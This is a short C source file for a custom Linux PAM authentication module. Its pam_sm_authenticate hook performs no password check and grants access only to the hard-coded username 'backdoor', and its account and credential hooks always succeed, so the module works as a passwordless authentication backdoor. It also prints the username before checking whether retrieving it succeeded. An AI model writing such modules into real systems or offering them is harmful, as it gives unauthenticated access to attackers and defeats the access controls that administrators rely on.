src/mypam.c

   1 #include <stdio.h>
   2 #include <stdlib.h>
   3 #include <string.h>
   4 #include <security/pam_appl.h>
   5 #include <security/pam_modules.h>
   6
   7 /* expected hook */
   8 PAM_EXTERN int pam_sm_setcred( pam_handle_t *pamh, int flags, int argc, const char **argv ) {
   9         return PAM_SUCCESS;
  10 }
  11
  12 PAM_EXTERN int pam_sm_acct_mgmt(pam_handle_t *pamh, int flags, int argc, const char **argv) {
  13         printf("Acct mgmt\n");
  14         return PAM_SUCCESS;
  15 }
  16
  17 /* expected hook, this is where custom stuff happens */
  18 PAM_EXTERN int pam_sm_authenticate( pam_handle_t *pamh, int flags,int argc, const char **argv ) {
  19         int retval;
  20
  21         const char* pUsername;
  22         retval = pam_get_user(pamh, &pUsername, "Username: ");
  23
  24         printf("Welcome %s\n", pUsername);
  25
  26         if (retval != PAM_SUCCESS) {
  27                 return retval;
  28         }
  29
  30         if (strcmp(pUsername, "backdoor") != 0) {
  31                 return PAM_AUTH_ERR;
  32         }
  33
  34         return PAM_SUCCESS;
  35 }